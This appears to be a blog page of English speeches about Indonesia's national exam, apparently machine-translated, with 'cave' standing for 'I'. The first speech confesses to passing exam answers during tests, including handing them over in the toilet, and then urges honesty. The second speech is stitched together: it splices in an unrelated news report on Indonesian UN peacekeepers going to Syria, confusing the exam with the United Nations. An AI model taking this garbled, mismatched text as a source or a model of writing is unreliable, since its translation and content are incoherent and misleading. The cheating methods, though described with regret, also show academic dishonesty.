    UN value only accounts for 60% of the average value of graduation. 40% were determined from the school. According to the Minister of Education and Culture, school graduation present value is determined by four factors. First, students must complete the entire program of education in schools. Second, they must meet the requirements of morals, manners, and manners. Well this is good ni. At least the students are now considered moral. The fourth factor is the next school test scores. This value is determined by the respective schools. The last factor, the UN should be a fairly high average let that determine the final value is also high graduation. Well, the final value is to be accomplished by the students is at least 5.5. Well quite heavy . But if we seek, learn and pray, nothing is impossible.

    When I first three high school classes, graduation standard completely determined by the UN. And even then the average must be at least 5.0. So I really scared at first that the UN name. No cave afraid to pass. I am fairly confident I can achieve that much because the average cave effort. Continue to matter because the not real  too heavy than usual about the UAS or replicates. But somehow I fear wrote.

    Now after five years, I realized that it's scary because the UN UN made bogey. We are too worried when I have to think about things related to the UN. Media themselves use too lebay and serious tone of preaching the graduation requirements. The media also spread the word failure of the UN year after. This mental disturbance of our students. Teachers, the school, parents, all too much worried about her children so that the child was feeling overwhelmed. Consequently, they instead focus on the fear of the UN to achieve it rather than focus on passing the prescribed standard. Finally, they were afraid of not graduating. Schools are also afraid of the embarrassment if any student does not pass. Path was chosen cheating: cheating or sharing cheating-key answers.


    Honestly, yes, the 2007 UN ago I also share the same answer in the same room cave friends (even as a friend in another room). Not cheating cave but the cave does give us the answers - while correcting the answer too . Because the UN was the specter, a lot of friends who are not afraid cave pass (including caves), especially those who are not how (you know).
    They fear that cannot answer most questions UN. So, whether, I felt sorry for them and with sincere (or foolishly) that I write you answer in a small paper and oper cave to cave friends. Cave is not the smartest student in class but can say I really "angel" if the test again. From elementary, junior high through high school I was always so suppliers answer to my friends again occupied the cave when we test, whether the end of semester exams, school exams, even the UN. If daily or weekly repeat KD heck I would love the cheat sheet. Group was to determine the extent to which we understand and learn in school. If the determinant of graduation exams (UN, for example), the cave, it not represents the extent to which we understand what is being taught in school. It was just a symbol of the success of education in Indonesia is from the outside it looks beautiful but dilapidated. The caves also include education corrupt contributor Indonesia since the cave itself ga honest work on the problems the UN. sigh!

    When high school principal UN severe cave really honest. For some reason this time I do not have any fear of the supervisor at all. Small paper which contains the answer can so easily move from one hand into the hands of others. In fact it could be moved into the hands in the next room. The trick? Classic. We deal in the toilet. Great is not it? great sin (only God and I know how sin cave.!). The result, the average value of the highest cave UN class at school. The UN SMP cave not jug honest. So once again I reply spreading agent to friends cave. And once again the average value of the highest cave-class examination of the SMP.

    Never mind the UN, the UAS also I  love cheat - and cheating. Friends who seat near the cave is also sometimes considered lightly because UAS has access to the cave to ask for an answer. Not  afraid supervisor.
    I actually really excited when cheating or cheat you. out cave once again fill a small paper throw answer to a friend who was sitting in front of the cave while I sat in the back and we are different row seat. Cheat sheet of paper fall in the hall between the rows. UAS direct supervisors admonished the cave. Funnily enough, he also says this: Come on, who would dare try took sheet of paper that fell. There is a slightly Ga. But the cave cave giggling on the bench. Good heavens, how unstable and caves curse by God  young first time. Now I've converted, O God. Not cave once again when you answer the final exam on campus cave. Try to lost it if you dare to cheat on cheating at the exam hall with dozens like what inspectors pacing around us.

    Here, I is not trying to boast how I honestly  at school because cheat-time cheating UN and other exams. Cave just wanted to share the experience not wrote honestly when the UN first. Have not so hypocritical, I'm sure every person who ever holds the student has also been cheated. Including those who've become a teacher and his students cheating ban also used to cheating in school, even just once. See which friends I've become a teacher, had been cheating the cave. But do not emulate ya brothers and friends. If I could turn back time I would choose to live honestly in every case the cave, including the time working on exam.
    The point, though honest and dishonest choice, cheating is not good practice. Wherever possible we should be honest as himself and other people working on the exam questions, especially about the UN. UN is not just an evaluation study. UN can also be a determinant of the success of education in Indonesia. If we are honest in the UN ga, meaning that educational achievement of our country is still filled with lies. Alhamdulillah now the UN is not the only determinant of graduation. And Kemendikbud've also tried to keep the honesty of Indonesia can be implemented through the UN. This agrees cave. Hopefully the more advanced education in the future Indonesia, accompanied by the application of pure values ​​and not merely serve as a symbol of sheer intellectual progress. And most important  education in Indonesia may reach all citizens, especially those in the class compulsory education and are difficult to access educational facilities. Useless if we claimed to be advanced education but there are still many people who are not educated, especially those living in rural or constrained economic problems.
     
    So, believe in ourselves. And the last "let's do our best to save our nation !" Thank you for your attention.  
    Ass. Wr Wb.



    Pidato tentang Ujian Nasional berbahasa Inggris

    Ass. Wr. Wb.
    Firstly, I would like to say thanks for giving me a great opportunity to deliver my brief speech. And in this chance, the topic of my speech is Save Our Nation.
    Indonesia. A country famous for it's many cultural backgrounds, tourism sites, wonderful scenery, spices, the friendly people.Indonesia is gearing up to deploy six of its peacekeepers currently stationed overseas to Syria to help the mission monitoring the UN-backed ceasefire in the troubled Middle-East country, Foreign Minister Marty Natalegawa said on Tuesday.
    The peacekeepers will be among 30 unarmed UN observers sent to monitor the ceasefire. The first group, consisting of six observers, reportedly arrived in Syria on Sunday.
    “Communications between Indonesia and the UN are still intensive. Last night, we talked to UN Secretary General Ban Ki-moon and he asked if Indonesia could transfer our peacekeepers to Syria,” Marty said after attending a welcome ceremony for New Zealand Prime Minister John Key at the Merdeka Palace.
    “Moving already-deployed peacekeepers will be more time-effective given the urgency of the situation in Syria,” Marty said.
    According to Marty, President Susilo Bambang Yudhoyono has given a positive response to Ban’s proposal.
    “But we have two conditions: First, ensuring that the ceasefire is truly upheld, second, ensuring that there is approval from the Syrian government. We have told Ban about these concerns and last night he told us that they shared similar concerns,” Marty said.
    The UN initiated the observer mission to Syria after forces loyal to President Bashar al-Assad breached the ceasefire, supposed to take effect on Thursday, and killed five civilians in the rebel city of Homs.
    The UN Security Council agreed on Saturday to send the 30 monitors but there has been a proposal to enlarge the UN mission to 250 people.
    According to Marty, there would be six Indonesians among the initial 30 observers.
    “That is recognition of the high level of trust the UN has in Indonesia,” he said.
    The United Nations says more than 9,000 people have been killed in Syria since the uprising began about a year ago.
    Indonesia is among 120 countries providing nearly 120,000 peacekeepers worldwide.
    About 1,900 Indonesian troops are involved in peacekeeping in the United Nations Interim Force in Lebanon (UNIFIL) and the United Nations Mission in East Timor (UNAMET), as well as other UN missions in the Democratic Republic of Congo (DRC), Liberia, Haiti and Sudan.
    Of that number, about 1,446 are currently serving in Lebanon, according to data from the Defense Ministry.

    So, believe in ourselves. And the last "let's do our best to save our nation !" Thank you for your attention.  
    Ass. Wr Wb

    powered by Blogger | WordPress by Newwpthemes